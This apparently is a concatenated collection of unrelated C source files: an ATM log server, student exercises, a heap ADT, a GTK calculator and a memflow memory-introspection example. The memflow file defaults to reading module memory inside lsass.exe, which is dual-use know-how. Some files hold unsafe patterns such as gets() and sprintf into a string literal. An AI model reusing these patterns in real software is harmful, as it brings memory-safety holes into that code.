fprintf(stderr, "Datos sin retornar: %s\n", strerror(errno));
pthread_exit(NULL);
}
strncpy(resumen[i],buffer,numbytes);
memset(buffer, 0, sizeof(buffer));
}
free(buffer);
*recuperar=FALSE;
/*Arreglo para mensajes con alarmas. Se pasa al programa principal. */
if ((salida=(char**)malloc(sizeof(char*)*nroMensajes))==NULL) {
fprintf(stderr, "Datos sin retornar: %s\n", strerror(errno));
pthread_exit(NULL);
}
/*Procesamiento de los mensajes recibidos a las bitacoras*/
for (i = 0; i < nroMensajes; i++) {
salida[i]=Pedir_Memoria(numbytes+1);
if (salida[i]==NULL){
fprintf(stderr, "Datos sin retornar: %s\n", strerror(errno));
pthread_exit(NULL);
}
procesarMensaje(regCliente->bitacoraA,regCliente->bitacoraG,
resumen[i],numbytes,salida[i],recuperar);
}
destruirResumen(resumen, nroMensajes);
/*Crear estructura de retorno al programa principal*/
informacion=contruirDatosSalientesR(nroMensajes);
if (informacion==NULL){
fprintf(stderr, "Datos sin retornar: %s\n", strerror(errno));
pthread_exit(NULL);
}
informacion->mensajeArreglo=salida;
informacion->idCliente=regCliente->idCliente;
//printf("FIN MODO DE RECUPERACION\n");
return informacion;
}
/**
* Ejecutar el modo recuperacion del servidor.
* @param struct sockaddr_in idCliente Id. Cliente.
* @param int Nro de error.
* @return vacio
*/
void manejarClienteCaido(int err, struct sockaddr_in idCliente){
char *mensaje= "Cliente Down";
char output[128];
time_t tiempo = time(0);
struct tm *tlocal = localtime(&tiempo);
strftime(output,128,"%H:%M %d/%m/%y",tlocal);
sprintf(mensaje,"%s ATM %s %s", inet_ntoa(idCliente.sin_addr),output,mensaje);
switch (err) {
case EHOSTDOWN:
sendmail(TO,FROM,SUBJECT,mensaje);
break;
case EHOSTUNREACH:
sendmail(TO,FROM,SUBJECT,mensaje);
break;
}
}
/**
* Contruye las estructuras Msg con mensaje unitario
* @param int tamaño del espacio a reservar.
* @return Estructura Msg Datos para programa principal. NULL en caso contrario.
*/
Msg* contruirDatosSalientes(int longiMensaje){
Msg* informacion=NULL;
/*Crear estructura de retorno al programa principal */
if (longiMensaje>0) {
if ((informacion=(Msg*)malloc(sizeof(Msg)))==NULL) {
fprintf(stderr, "Datos sin retornar: %s\n", strerror(errno));
return NULL;
}
informacion->mensajeArreglo=NULL;
informacion->nroMensajes=1;
informacion->recuperacion=FALSE;
if ((informacion->mensaje=(char*)malloc(sizeof(char)*(longiMensaje+1)))==NULL) {
fprintf(stderr, "Datos sin retornar: %s\n", strerror(errno));
return NULL;
}
memset(informacion->mensaje, 0, sizeof(informacion->mensaje));
return informacion;
}
return NULL;
}
/**
* Contruye las estructuras Msg con mensajes en arreglo
* @param int tamaño del espacio a reservar para arreglo.
* @return Estructura Msg Datos para programa principal. NULL en caso contrario.
*/
Msg* contruirDatosSalientesR(int tamArreglo){
Msg* informacion=NULL;
/*Crear estructura de retorno al programa principal */
if (tamArreglo>1) {
if ((informacion=(Msg*)malloc(sizeof(Msg)))==NULL) {
fprintf(stderr, "Datos sin retornar: %s\n", strerror(errno));
return NULL;
}
informacion->mensaje=NULL;
informacion->nroMensajes=tamArreglo;
informacion->recuperacion=TRUE;
return informacion;
}
return NULL;
}
/**
* Asignacion de datos entrantes para hilos
* @param struct sockaddr_in Id.Cliente
* @param bitaA Descrpitor de bitacora de alarmas.
* @param bitaG Descrpitor de bitacora general.
* @param sockCli Socket del cliente.
* @return Estructura Args Id. Cliente.
* @return TRUE exito. FALSE en caso contrario.
*/
int asignarDatosEntrantes(Args *caj, int sockCli, struct sockaddr_in idCli, FILE *bitaG, FILE *bitaA){
if (caj == NULL)
return FALSE;
caj->sockCliente=sockCli;
caj->idCliente=idCli;
caj->bitacoraA=bitaA;
caj->bitacoraG=bitaG;
return TRUE;
}
char* Pedir_Memoria(int tam){
char *str = NULL;
if ((str=(char*)malloc(sizeof(char)*tam))==NULL) {
fprintf(stderr, "No hay memoria disponible: %s\n", strerror(errno));
return NULL;
}
memset(str,0,sizeof(str));
return str;
}
/**
* Libera memoria de datos entrantes para hilos
* @param Estructura Args Id.Cliente
* @return TRUE exito. FALSE en caso contrario.
*/
int destruirDatosEntrantes(Args *caj){
if (caj == NULL)
return FALSE;
close(caj->sockCliente);
caj->bitacoraG=NULL;
caj->bitacoraA=NULL;
return TRUE;
}
/**
* Libera memoria de arreglo de cadenas.
* @param resu Arreglo de cadenas.
* @param tam tamano del arreglo
* @return TRUE exito. FALSE en caso contrario.
*/
int destruirResumen(char** resu, int tam){
if (resu == NULL)
return FALSE;
int i=0;
for (i = 0; i < tam; ++i) {
free(resu[i]);
}
free(resu);
resu=NULL;
return TRUE;
}
/**
* Libera memoria de arreglo de datos salientes.
* @param caj arreglo de datos salientes.
* @param tam tamano del arreglo
* @return TRUE exito. FALSE en caso contrario.
*/
int destruirInformes(Msg *caj, int tam){
if (caj == NULL)
return FALSE;
if (caj->mensajeArreglo!=NULL){
int i=0;
for (i = 0; i < tam; ++i) {
free(caj->mensajeArreglo[i]);
}
free(caj->mensajeArreglo);
}
if (caj->mensaje!=NULL) {
free(caj->mensaje);
}
free(caj);
return TRUE;
}
int compararMensajes(char *palabra, char *p) {
int i=0;
if (palabra == NULL)
return 2;
i=strncasecmp(palabra,p,strlen(palabra));
/* printf("%s ",caj1->palabra); */
/* printf("%s ",p); */
/* printf("%d\n",i); */
if (i != 0)
return FALSE;
else
return TRUE;
}
/**
* Programa para enviar correos con alarmas detectadas.
* @param to Direccion de correo
* @param from Nombre del servidor.
* @return TRUE exito. FALSE en caso contrario.
*/
int sendmail(const char *to, const char *from, const char *subject, const char *message)
{
int retval = 1;
FILE *mailpipe = popen("/usr/lib/sendmail -t", "w");
if (mailpipe != NULL) {
fprintf(mailpipe, "To: %s\n", to);
fprintf(mailpipe, "From: %s\n", from);
fprintf(mailpipe, "Subject: %s\n\n", subject);
fwrite(message, 1, strlen(message), mailpipe);
fwrite(".\n", 1, 2, mailpipe);
pclose(mailpipe);
retval = 0;
}
else {
perror("Failed to invoke sendmail");
}
return retval;
}
|
C
|
//
// menu.c
// Set_calculation
//
// Created by B.J.Song on 2018. 3. 25..
// Copyright © 2018년 B.J.Song. All rights reserved.
//
#include "menu.h"
#include "locale.h"
void display_menu() {
printf(" ---< ");
printf("%s", setCalculation[language]);
printf(" >---\n");
printf("1.%s ", unions[language]);
printf("2.%s ", intersections[language]);
printf("3.%s ", complement[language]);
printf("4.%s \n\n", exitApp[language]);
printf("%s", chooseMenu[language]);
printf(" > ");
}
int get_selection() {
int selection = 0;
fscanf(stdin, "%d", &selection);
return selection;
}
|
C
|
#include "main.h"
/**
*_isupper - Searching value uppercase.
* @c: This variable output.
* Return: if is uppercase return 1 of other case return 0.
*/
int _isupper(int c)
{
if (c >= 'A' && c <= 90)
{
return (1);
}
else
{
return (0);
}
}
|
C
|
#pragma once
#include <Windows.h>
#include <iomanip>
#include <dos.h>
void gotoxy(short x, short y)
{
HANDLE hConsoleOutput;
COORD Cursor_an_Pos = { x, y };
hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleCursorPosition(hConsoleOutput, Cursor_an_Pos);
}
void SetColor(WORD color)
{
HANDLE hConsoleOutput;
hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO screen_buffer_info;
GetConsoleScreenBufferInfo(hConsoleOutput, &screen_buffer_info);
WORD wAttributes = screen_buffer_info.wAttributes;
color &= 0x000f;
wAttributes &= 0xfff0;
wAttributes |= color;
SetConsoleTextAttribute(hConsoleOutput, wAttributes);
}
void SetBGColor(WORD color)
{
HANDLE hConsoleOutput;
hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO screen_buffer_info;
GetConsoleScreenBufferInfo(hConsoleOutput, &screen_buffer_info);
WORD wAttributes = screen_buffer_info.wAttributes;
color &= 0x000f;
color <<= 4;
wAttributes &= 0xff0f;
wAttributes |= color;
SetConsoleTextAttribute(hConsoleOutput, wAttributes);
}
|
C
|
/****************************************************************************
* server.c => Server socket handling for C programs *
* *
* Borrowing an example from http://www.linuxhowtos.org/C_C++/socket.htm *
* *
* Assignment: Lab 10 - IPC sockets *
* Author: Nathanael Smith and Austin Burdine *
* Computer: W002-13 and Macbook *
* *
****************************************************************************/
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
/* the server's file descriptor */
int serverFd;
/* prints an error message and exits */
void printError(const char *msg) {
perror(msg);
exit(1);
}
/* sets up the server's socket given a port number */
/* returns the socket */
int server_setup(int port) {
struct sockaddr_in serverAddr;
serverFd = socket(AF_INET, SOCK_STREAM, 0);
if (serverFd < 0) {
printError("Error on socket open");
}
memset((char *) &serverAddr, 0, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = INADDR_ANY;
serverAddr.sin_port = htons(port);
/* try to connect to the server */
if (bind(serverFd, (struct sockaddr *) &serverAddr, sizeof(serverAddr)) < 0) {
printError("Error binding to port");
}
listen(serverFd, 5);
return serverFd;
}
/* continuously listens for new connections to the server */
/* can handle multiple clients */
/* the function passed as a parameter here will be executed upon forking */
/* this function must take a file descriptor as an argument */
void server_listen(void (*fn)(int)) {
int clientFd;
socklen_t clientLen;
struct sockaddr_in clientAddr;
struct sockaddr* clientAddress;
clientAddress = (struct sockaddr*) &clientAddr;
clientLen = sizeof (clientAddr);
/* loop infinitely */
while(1) {
clientFd = accept(serverFd, clientAddress, &clientLen);
/* fork twice to avoid zombie processes */
/* the grandchild will be inherited by init, which automatically wait()s */
/* thanks to http://stackoverflow.com/questions/16078985/why-zombie-processes-exist */
if (fork() == 0) {
if (fork() == 0) {
fn(clientFd);
close(clientFd);
exit(0);
}
close(clientFd);
exit(0);
} else {
wait(NULL);
close(clientFd);
}
}
}
|
C
|
/*
* This is a trivial exercise, running "Hello World".
* Compilation: gcc exercise1.c
* Execution: a.out
*
* Author: Yigwoo
*/
#include <stdio.h>
main() {
printf("Hello, world\n");
}
|
C
|
#include <stdio.h>
#define INIT_VALUE -1
int palindrome(char *str);
int main() {
char str[80];
int result = INIT_VALUE; // -1
printf("Enter a string: \n");
gets(str);
result = palindrome(str);
if (result == 1)
printf("palindrome(): A palindrome\n");
else if (result == 0)
printf("palindrome(): Not a palindrome\n");
else
printf("An error\n");
return 0;
}
int palindrome(char *str){
/* palindrome is a sequence of characters that reads the same forwards and backwards */
/* return 1 if positive, else 0 */
/* Write your code here */
int length = 0;
while (*(str+length) != '\0')
length++;
int pos;
for(pos=0; pos<length/2; pos++){
if (*(str+pos) != *(str+length-1-pos))
return 0;
}
return 1;
}
|
C
|
#include<stdio.h>
#include<dos.h>
#include<time.h>
#include<string.h>
void loadingd()
{
int j=0;
int Counter=0;
while(j!=40)
{
system("cls");
printf("DECRYPTING ");
switch(Counter)
{
case 0:
printf("|");
Counter++;
break;
case 1:
printf("/");
Counter++;
break;
case 2:
printf("-");
Counter++;
break;
case 3:
printf("\\");
Counter++;
break;
default:
Counter=0;
}
j++;
}
}
void loadinge()
{
int j=0;
int Counter=0;
while(j!=40)
{
system("cls");
printf("ENCRYPTING ");
switch(Counter)
{
case 0:
printf("|");
Counter++;
break;
case 1:
printf("/");
Counter++;
break;
case 2:
printf("-");
Counter++;
break;
case 3:
printf("\\");
Counter++;
break;
default:
Counter=0;
}
j++;
}
}
void loading()
{
int j=0;
int Counter=0;
while(j!=40)
{
system("cls");
printf("File Found \nReading Data\n");
switch(Counter)
{
case 0:
printf("|");
Counter++;
break;
case 1:
printf("/");
Counter++;
break;
case 2:
printf("-");
Counter++;
break;
case 3:
printf("\\");
Counter++;
break;
default:
Counter=0;
}
j++;
}
}
void main()
{
int i,j,d,c;
char f[30],fi[30],a;
int ch,n,y;
y=0;
n=0;
char g[2];
FILE *fo,*fn;
printf("WELCOME TO THE CRYPTOGRAPHIC ENGINE\n");
start:
printf("PLEASE ENTER THE FILE NAME WITH EXTENSION : ");
scanf("%s",f);
fo=fopen(f,"rb+");
if(fo==NULL)
{
system("cls");
printf("File does not exist please try again \n");
goto start;
}
loading();
system("cls");
printf("FILE FOUND\n");
printf("\aOK I FOUND THE FILE WHAT DO YOU WANNA DO");
printf("\nPlease Select One of the Options in the following Menu\n");
starto:
printf("1.Encrypt \n2.Decrypt\nEnter Choice :");
scanf("%d",&ch);
switch(ch)
{
case 2:
printf("\nEnter a Alpha Numeric Key \n");
scanf("%s",g);
a=g[0];
n=g[1];
printf("Please Wait While the File is being Decrypted \n");
switch(a)
{
case 'A':
case 'a':
y=(n*n*n)+(2*n*n)+(n/2)+82;
break;
case 'B':
case 'b':
y=(n)+(2*n*n)+(n*2)+42;
break;
case 'C':
case 'c':
y=(n*n*n)+(2*n*n)+(n/2)+92;
break;
case 'D':
case 'd':
y=(n*n*n)+(2*n*n)+82;
break;
case 'E':
case 'e':
y=(n*n*n)+(n*n)+(n)+82;
break;
case 'F':
case 'f':
y=(n*n*n)+(2*n*n)+(n+2)+3;
break;
case 'G':
case 'g':
y=(n)+82;
break;
case 'H':
case 'h':
y=(n*n*n)+82;
break;
case 'I':
case 'i':
y=(n*n*n*n)+82;
break;
case 'J':
case 'j':
y=(n*n)+99;
break;
case 'K':
case 'k':
y=(n*n)+(n*n)+(n+2)+102;
break;
case 'L':
case 'l':
y=(n)+(n+n)+(n/2)+82;
break;
case 'M':
case 'm':
y=n*8;
break;
case 'N':
case 'n':
y=(n*n*8)+7;
break;
case 'O':
case 'o':
y=(n*n*n)+(2*n*n)+(n)+9;
break;
case 'P':
case 'p':
y=(n*n)+(n+n)+(n/2)+7;
break;
case 'Q':
case 'q':
y=(82*n)/100;
break;
case 'R':
case 'r':
y=(n)+(n*n)+(n)+2;
break;
case 'S':
case 's':
y=(n)+(n)+(n/2)+7;
break;
case 'T':
case 't':
y=(n*n*n)+(2*n*n)+(n*8)+8;
break;
case 'U':
case 'u':
y=(n*n*n)+(2*n*n)+24;
break;
case 'V':
case 'v':
y=(n/n*n)+(2*n*n)+(n)+42;
break;
case 'W':
case 'w':
y=(n*n)+(2*n*n)+(n/2)+52;
break;
case 'X':
case 'x':
y=(n*n*2*n)+(2*n*n*5)+(n/2)+2;
break;
case 'Y':
case 'y':
y=(n*n*n)+(2*n*n)+(n/24)+12;
break;
case 'Z':
case 'z':
y=(n*n)+(2*n*n)+(n/2)+52;
break;
}
fi[0]='d';
for(i=0;f[i]!='\0';i++)
{
fi[i+1]=f[i];
}
fi[i+1]='\0';
fn=fopen(fi,"wb+");
c=fgetc(fo);
while(c!=EOF)
{
d=c+y;
fputc(d,fn);
c=fgetc(fo);
}
loadingd();
system("cls");
printf("File Has been Decrypted\n\nThank You");break;
case 1:
printf("Enter a Alpha Numeric Key \n");
scanf("%s",g);
a=g[0];
n=g[1];
printf("Please Wait While the File is being Encrypted\n");
switch(a)
{
case 'A':
case 'a':
y=(n*n*n)+(2*n*n)+(n/2)+82;
break;
case 'B':
case 'b':
y=(n)+(2*n*n)+(n*2)+42;
break;
case 'C':
case 'c':
y=(n*n*n)+(2*n*n)+(n/2)+92;
break;
case 'D':
case 'd':
y=(n*n*n)+(2*n*n)+82;
break;
case 'E':
case 'e':
y=(n*n*n)+(n*n)+(n)+82;
break;
case 'F':
case 'f':
y=(n*n*n)+(2*n*n)+(n+2)+3;
break;
case 'G':
case 'g':
y=(n)+82;
break;
case 'H':
case 'h':
y=(n*n*n)+82;
break;
case 'I':
case 'i':
y=(n*n*n*n)+82;
break;
case 'J':
case 'j':
y=(n*n)+99;
break;
case 'K':
case 'k':
y=(n*n)+(n*n)+(n+2)+102;
break;
case 'L':
case 'l':
y=(n)+(n+n)+(n/2)+82;
break;
case 'M':
case 'm':
y=n*8;
break;
case 'N':
case 'n':
y=(n*n*8)+7;
break;
case 'O':
case 'o':
y=(n*n*n)+(2*n*n)+(n)+9;
break;
case 'P':
case 'p':
y=(n*n)+(n+n)+(n/2)+7;
break;
case 'Q':
case 'q':
y=(82*n)/100;
break;
case 'R':
case 'r':
y=(n)+(n*n)+(n)+2;
break;
case 'S':
case 's':
y=(n)+(n)+(n/2)+7;
break;
case 'T':
case 't':
y=(n*n*n)+(2*n*n)+(n*8)+8;
break;
case 'U':
case 'u':
y=(n*n*n)+(2*n*n)+24;
break;
case 'V':
case 'v':
y=(n/n*n)+(2*n*n)+(n)+42;
break;
case 'W':
case 'w':
y=(n*n)+(2*n*n)+(n/2)+52;
break;
case 'X':
case 'x':
y=(n*n*2*n)+(2*n*n*5)+(n/2)+2;
break;
case 'Y':
case 'y':
y=(n*n*n)+(2*n*n)+(n/24)+12;
break;
case 'Z':
case 'z':
y=(n*n)+(2*n*n)+(n/2)+52;
break;
}
fi[0]='e';
for(i=0;f[i]!='\0';i++)
{
fi[i+1]=f[i];
}
fi[i+1]='\0';
fn=fopen(fi,"wb+");
c=fgetc(fo);
while(c!=EOF)
{
d=c-y;
fputc(d,fn);
c=fgetc(fo);
}
loadinge();
system("cls");
printf("File Has been Encrypted\n\nThank You");break;
default:
printf("Please select one of the two options given to proceed");
goto starto;
}
fclose(fn);
fclose(fo);
}
|
C
|
/* ************************************************************************** */
/* LE - / */
/* / */
/* ft_atoi_base.c .:: .:/ . .:: */
/* +:+:+ +: +: +:+:+ */
/* By: ichougra <[email protected]> +:+ +: +: +:+ */
/* #+# #+ #+ #+# */
/* Created: 2019/08/08 13:55:09 by ichougra #+# ## ## #+# */
/* Updated: 2019/08/08 15:25:33 by ichougra ### #+. /#+ ###.fr */
/* / */
/* / */
/* ************************************************************************** */
int ft_strlen(char *str)
{
int i;
i = 0;
while (str[i])
i++;
return (i);
}
int check_base(char *base)
{
int i;
int j;
j = 1;
i = 0;
while (base[i])
{
while (base[j])
{
if (base[i] == base[j])
return (0);
j++;
}
if ((base[i] < 'a' || base[i] > 'z')
&& (base[i] < 'A' || base[i] > 'Z')
&& (base[i] < '0' || base[i] > '9'))
return (0);
if (base[i] == '+' || base[i] == '-' || base[i] == ' ')
return (0);
i++;
j = i + 1;
}
return (1);
}
int error(char *base)
{
if (ft_strlen(base) < 2)
return (0);
if (check_base(base) == 0)
return (0);
return (1);
}
int base_str(char c, int base)
{
if (base <= 10)
return (c >= '0' && c <= '9');
return ((c >= '0' && c <= '9') || (c >= 'A' && c <= ('A' + base - 10)) ||
(c >= 'a' && c <= ('a' + base - 10)));
}
int ft_atoi_base(char *str, char *base)
{
int nb;
int sign;
int i;
i = 0;
nb = 0;
sign = 1;
if (error(base) == 0)
return (0);
while (str[i] == '\t' || str[i] == ' ' || str[i] == '\n')
i++;
while (str[i] == '-' || str[i] == '+')
if (str[i++] == '-')
sign = sign * -1;
while (str[i] != '\0' && base_str(str[i], ft_strlen(base)))
{
if (str[i] >= 'A' && 'F' >= str[i])
nb = (nb * ft_strlen(base)) + (str[i] - 'A' + 10);
else if (str[i] >= 'a' && 'f' >= str[i])
nb = (nb * ft_strlen(base)) + (str[i] - 'a' + 10);
else
nb = (nb * ft_strlen(base)) + (str[i] - '0');
i++;
}
return (nb * sign);
}
|
C
|
#include "memflow_win32.h"
#include <stdio.h>
int main(int argc, char *argv[]) {
log_init(1);
ConnectorInventory *inv = inventory_try_new();
printf("inv: %p\n", inv);
const char *conn_name = argc > 1? argv[1]: "kvm";
const char *conn_arg = argc > 2? argv[2]: "";
const char *proc_name = argc > 3? argv[3]: "lsass.exe";
const char *dll_name = argc > 4? argv[4]: "ntdll.dll";
CloneablePhysicalMemoryObj *conn = inventory_create_connector(inv, conn_name, conn_arg);
printf("conn: %p\n", conn);
if (conn) {
Kernel *kernel = kernel_build(conn);
printf("Kernel: %p\n", kernel);
Win32Version ver = kernel_winver(kernel);
printf("major: %d\n", ver.nt_major_version);
printf("minor: %d\n", ver.nt_minor_version);
printf("build: %d\n", ver.nt_build_number);
Win32Process *process = kernel_into_process(kernel, proc_name);
if (process) {
Win32ModuleInfo *module = process_module_info(process, dll_name);
if (module) {
OsProcessModuleInfoObj *obj = module_info_trait(module);
Address base = os_process_module_base(obj);
os_process_module_free(obj);
VirtualMemoryObj *virt_mem = process_virt_mem(process);
char header[256];
if (!virt_read_raw_into(virt_mem, base, header, 256)) {
printf("Read successful!\n");
for (int o = 0; o < 8; o++) {
for (int i = 0; i < 32; i++) {
printf("%2hhx ", header[o * 32 + i]);
}
printf("\n");
}
} else {
printf("Failed to read!\n");
}
virt_free(virt_mem);
}
process_free(process);
}
}
inventory_free(inv);
return 0;
}
|
C
|
//
// main.c
// CP2_WEEK5
//
// Created by stu2017s10 on 2017. 4. 4..
// Copyright © 2017년 stu2017s10. All rights reserved.
//
#include <stdio.h>
#include "Common.h"
#include "AppIO.h"
#include "MagicSquare.h"
int main(void) {
MagicSquare* magicSquare; // 저장 장소 선언
// magicSquare->_maxOrder = MAX_ORDER; // MAX_ORDER = 99
AppIO_out_msg_startMagicSquare(); // 마방진 풀이 시작 메시지
magicSquare = MagicSquare_new(); // magicSquare 객체 생성
int order = AppIO_in_order(); // 마방진 차수를 입력 받아 _order에 저장
while(order != END_OF_RUN) { // 마방진 차수가 -1이면 프로그램 종료, -1이 아니면 풀이 시작
// 첫번째 인수는 항상 객체의 사용권인 객체의 주소 값
// 두번째 이후 인수는 별도의 정보가 필요할 경우에 제공되는 정보
MagicSquare_setOrder(magicSquare,order); // 객체의 속성값을 설정하는 함수
if( MagicSquare_orderIsValid(magicSquare)) { // 차수가 유효한지 검사
MagicSquare_solve(magicSquare); // 주어진 차수의 마방진을 푼다.
AppIO_out_board(MagicSquare_order(magicSquare),(int(*)[MAX_ORDER])MagicSquare_board(magicSquare)); // 마방진 판을 화면에 보여준다.
}
order = AppIO_in_order(); // 다음 마방진을 위해 차수를 입력받는다.
}
MagicSquare_delete(magicSquare); // 객체 소멸
AppIO_out_msg_endMagicSquare(); // 마방진 풀이 종료 메시지
return 0;
}
|
C
|
/* Author Joshua Wallace
Originally created Sept. 23 2014
*/
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include "integrator.h"
//prints this message if there aren't the right number of command line arguments
void intromessage(char *name)
{
printf("Usage: %s, number of steps\n",name);
exit(0);
}
//This is the coupled first order ODE's you get for solving the forced oscillator
int thefunction(int n, double t, const double *x, double *fx)
{
//oscillator specific implementation:
if(n!=2)
{
printf("I was expecting n to be 2, not %d.\n Please reconcile. This is an oscillator, only a second order ODE.\n Now quitting the function...",n);
return -1;
}
//parameters for the equation
//const double m=1.0; //Since this parameter is just 1, I will ignore it since it only comes in as a multiplication
const double omega=0.1;
const double omega_n_squared=25.;
fx[0]=x[1];
fx[1]=-omega_n_squared*x[0] + cos(omega*t);
return 0;
}
double analyticfunction(double t)
{
const double omega=0.1;
const double omega_n=5.;
return (cos(omega*t) - cos(omega_n*t) ) / (omega_n * omega_n - omega * omega);
}
int main(int argc, char **argv)
{
//iteration counters
int i;
//dimension variable;
const int n=2;
//initial conditions
const double x_initial=0.;
const double x_prime_initial=0.;
//make sure there were the right number of command line arguments
if(argc!=2) intromessage(argv[0]);
//read in the command line arguments, give them variable names
const double time_max=100000.;
const int n_steps=atoi(argv[1]);
const double h=time_max/atof(argv[1]);
//The values x and y=x' in an array, the values as expressed in the function
double x[n];
//initialize them to the initial values
//x[0] is the x value, x[1] is the x'=y value
x[0]=x_initial;
x[1]=x_prime_initial;
//Creates a pointer to a struct of type integrator_t, which is defined in the various integrator files
Integrator *integrator_struct;
//allocated memory, start things up
integrator_struct = integrator_new(n,h,thefunction);
//Keep track of time
double t=0.;
//print out the initial state
//printf("%e\n",fabs(x[0]-analyticfunction(t))); //prints out error
printf("%e %e %e\n",t,x[0],x[1]); //prints out the results
//print the results out in form: t x x'
//each line a different timestep
for(i=0;i<n_steps;i++)
{
assert(integrator_step(integrator_struct,t,x) ==0); //steps y, which is x'
t+=h;
//printf("%e\n",fabs(x[0]-analyticfunction(t))); //prints out error
printf("%e %e %e\n",t,x[0],x[1]); //prints out the results
}
return 0;
}
|
C
|
#include"HeapADT.h"
#include<stdlib.h>
Heap *heapCreate(int size, Type type) { // type == 1 : MAX Heap, type == 0 : MIN Heap
Heap *newHeap = (Heap *)malloc(sizeof(Heap));
if (newHeap == NULL) return NULL;
newHeap->type = type;
newHeap->count = 0;
newHeap->arr = (int *)malloc(sizeof(int)*size);
newHeap->size = size;
for (int i = 0; i < size; i++) { // initialize the heap with -1
*(newHeap->arr + i) = -1;
}
if(newHeap->arr == NULL) {
free(newHeap);
return NULL;
}
return newHeap;
}
void heapInsert(Heap *heap, int data) {
int i;
int parent;
int temp;
if (heap->count == heap->size) return; // heap is full
for (i = 0; heap->arr[i] != -1; i++); // find empty slot in arr
*(heap->arr + i) = data;
if (heap->count == 0) {
heap->count++;
return;
}
else { // check whether the heap needs to be rearranged
while (1) {
parent = (i % 2 == 1) ? (i - 1) / 2 : (i - 2) / 2; // find the parent's index;
if (heap->type == MAX) { // Max Heap Routine
if (*(heap->arr + i) > *(heap->arr + parent)) {
temp = *(heap->arr + i);
*(heap->arr + i) = *(heap->arr + parent);
*(heap->arr + parent) = temp;
}
if (parent == 0)
break;
else
i = parent;
}
else { // Min Heap Routine
if (*(heap->arr + i) < *(heap->arr + parent)) {
temp = *(heap->arr + i);
*(heap->arr + i) = *(heap->arr + parent);
*(heap->arr + parent) = temp;
}
if (parent == 0)
break;
else
i = parent;
}
} // end while(1)
heap->count++;
return;
} // end else
}
int heapDelete(Heap *heap) {
int heapVal = heap->arr[0];
int size = heap->size;
int cur_idx, next_idx;
int temp;
heap->arr[0] = heap->arr[heap->count - 1]; // bring the last element in heap to the first element.
heap->arr[heap->count - 1] = -1; // put -1 in the index where the last element were to indicate that the element is deleted.
if (heap->count == 1) { // when there's one element in heap before heapDelete, no need to rearrange
heap->count--;
return heapVal;
}
cur_idx = 0;
while (1) {
if (2 * cur_idx + 1 > size - 1) // indexs of two children are out of range
break;
else if (2 * cur_idx + 2 > size - 1) { // only the index of left child is in range
if (heap->arr[2 * cur_idx + 1] != -1) {
if ((heap->type == MAX && heap->arr[2 * cur_idx + 1] > heap->arr[cur_idx]) || (heap->type == MIN && heap->arr[2 * cur_idx + 1] < heap->arr[cur_idx])) {
temp = heap->arr[cur_idx];
heap->arr[cur_idx] = heap->arr[2 * cur_idx + 1];
heap->arr[2 * cur_idx + 1] = temp;
}
}
break;
} // end else if(2 * cur_idx + 2 > size - 1)
else { // indexs of two children are in range
if (heap->arr[2 * cur_idx + 1] == -1 && heap->arr[2 * cur_idx + 2] == -1)
break;
else if (heap->arr[2 * cur_idx + 2] == -1) {
if ((heap->type == MAX && heap->arr[2 * cur_idx + 1] > heap->arr[cur_idx]) || (heap->type == MIN && heap->arr[2 * cur_idx + 1] < heap->arr[cur_idx])) {
temp = heap->arr[cur_idx];
heap->arr[cur_idx] = heap->arr[2 * cur_idx + 1];
heap->arr[2 * cur_idx + 1] = temp;
}
break;
}
else {
if (heap->type == MAX)
next_idx = heap->arr[2 * cur_idx + 1] > heap->arr[2 * cur_idx + 2] ? 2 * cur_idx + 1 : 2 * cur_idx + 2;
else
next_idx = heap->arr[2 * cur_idx + 1] < heap->arr[2 * cur_idx + 2] ? 2 * cur_idx + 1 : 2 * cur_idx + 2;
if ((heap->type == MAX && heap->arr[next_idx] > heap->arr[cur_idx]) || (heap->type == MIN && heap->arr[next_idx] < heap->arr[cur_idx])) {
temp = heap->arr[cur_idx];
heap->arr[cur_idx] = heap->arr[next_idx];
heap->arr[next_idx] = temp;
cur_idx = next_idx;
}
else
break;
}
} // end else
} // end while(1)
heap->count--;
return heapVal;
}
int heapCount(Heap *heap) {
return heap->count;
}
int heapFull(Heap *heap) {
return heap->count == heap->size;
}
int heapEmpty(Heap *heap) {
return heap->count == 0;
}
void *heapDestroy(Heap *heap) {
free(heap->arr);
free(heap);
return NULL;
}
void heapPrint(Heap *heap) {
int count = heap->count;
for (int i = 0; i < count; i++) {
printf("%d ", heap->arr[i]);
}
return;
}
void heapSort(int *arr, int size) {
Heap *heap = heapCreate(size, MIN);
for (int i = 0; i < size; i++)
heapInsert(heap, arr[i]);
for (int i = 0; i < size; i++)
arr[i] = heapDelete(heap);
return;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "gtk/gtk.h"
#include "Parse.h"
#include "term_icon.xpm"
GtkWidget *window;
GtkWidget *button;
GtkWidget *label_term;
GtkWidget *label_result;
GtkWidget *entry_term;
GtkWidget *entry_result;
GtkWidget *separator;
GtkWidget *hbox1;
GtkWidget *hbox2;
GtkWidget *vbox;
GdkPixbuf *myIcon;
gboolean debugMode;
static gboolean delete_event( GtkWidget *widget,
GdkEvent *event,
gpointer data )
{
gtk_main_quit ();
return FALSE;
}
static gboolean start_parsing( GtkWidget *widget,
GdkEvent *event,
gpointer data )
{
gint8 errno;
gdouble result = parse_term
(gtk_entry_get_text( GTK_ENTRY(entry_term) ), &errno, debugMode);
gchar display_str[20];
switch (errno)
{
case 0 : g_ascii_dtostr(display_str, 20, result); break;
case 1 : memcpy(display_str, "BRACKET ERROR", 13); break;
case 2 : memcpy(display_str, "UNKNOWN SYMBOL", 14); break;
case 3 : memcpy(display_str, "REMOVE UNNEEDED \'.\'", 19); break;
case 4 : memcpy(display_str, "OPERATOR ERROR", 14); break;
case 5 : memcpy(display_str, "\0", 1); break;
default: memcpy(display_str, "UNKNOWN ERROR", 13);
}
gtk_entry_set_text(GTK_ENTRY(entry_result), display_str);
return FALSE;
}
int main(int argc, char *argv[])
{
if (argc > 1)
{ debugMode = (!strcmp(argv[argc-1], "--debug")); }
